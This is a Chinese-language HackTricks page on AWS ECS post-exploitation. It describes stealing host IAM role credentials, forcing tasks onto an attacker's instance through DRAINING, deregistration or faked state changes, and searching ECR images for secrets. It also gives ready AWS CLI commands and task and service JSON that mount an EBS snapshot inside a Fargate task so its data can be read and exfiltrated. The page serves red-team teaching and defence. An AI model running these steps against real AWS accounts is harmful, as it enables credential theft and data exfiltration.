AWS - ECS 后利用

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

ECS

更多信息请查看:

AWS - ECS Enum

主机 IAM 角色

在 ECS 中,IAM role 可以分配给在容器内运行的 task如果该 task 在 EC2 实例中运行,EC2 实例 会附带另一个 IAM 角色。
这意味着如果你设法攻破一个 ECS 实例,你可能会获取与 ECR 和 EC2 实例关联的 IAM 角色。有关如何获取这些凭证的更多信息请查看:

Cloud SSRF - HackTricks

Caution

IMDSv2 hop 限制为 1 并会阻止 awsvpc 或 host-networked 任务——只有 Docker bridge 任务足够远,响应才会超时。详见 ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation 以了解完整攻击流程和绕过说明。近期的 Latacora research 表明即使在强制 IMDSv2+h=1 的情况下,awsvpc 和 host 任务仍会获取主机凭证。

Privesc to node to steal other containers creds & secrets

另外,EC2 使用 docker 来运行 ECS tasks,所以如果你能逃逸到 node 或 访问 docker socket,就可以查看哪些其他容器在运行,甚至进入它们窃取其附加的 IAM 角色

使容器在当前主机运行

此外,EC2 instance role 通常具有足够的权限更新集群内作为 node 使用的 EC2 实例的 container instance state。攻击者可以将某个实例的state 改为 DRAINING,然后 ECS 会从该实例移除所有的 tasks,那些以 REPLICA 方式运行的任务将被调度到不同的实例上运行,可能被调度到攻击者的实例上,从而使其能够窃取这些任务的 IAM 角色以及容器内的潜在敏感信息。

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

相同的技术也可以通过 deregistering the EC2 instance from the cluster 来完成。 这可能不那么隐蔽,但它会 force the tasks to be run in other instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

最后一种强制重新执行任务的技术是向 ECS 指明 任务或容器已停止。有 3 个潜在的 APIs 可以做到这一点:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

从 ECR 容器中窃取敏感信息

The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to 下载镜像(你可以在它们中搜索敏感信息)。

在 ECS 任务中直接挂载 EBS 快照 (configuredAtLaunch + volumeConfigurations)

滥用原生 ECS 与 EBS 的集成(2024+),在新的 ECS 任务/服务内直接挂载现有 EBS 快照的内容,并在容器内读取其数据。

  • 需要(最低):

  • ecs:RegisterTaskDefinition

  • 以下之一: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole 针对:

  • ECS infrastructure role 用于 volumes(policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes

  • 在 task definition 中引用的 Task execution/Task roles

  • 如果快照使用 CMK 加密:infra role 需要 KMS 权限(上面的 AWS managed policy 包含对 AWS managed keys 所需的 KMS 授权)。

  • 影响:在容器内从快照读取任意磁盘内容(例如数据库文件),并通过网络/日志 exfiltrate。

步骤(Fargate 示例):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. 注册一个 task definition,包含一个标记为 configuredAtLaunch 的 volume,并将其挂载到 container 中。示例(打印 secret 然后休眠):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. 通过 volumeConfigurations.managedEBSVolume 传递 EBS 快照来创建或更新服务(需要 infra 角色具有 iam:PassRole 权限)。示例:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. 当任务启动时,容器可以在配置的挂载路径(例如 /loot)读取快照内容。Exfiltrate via the task’s network/logs。

清理:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks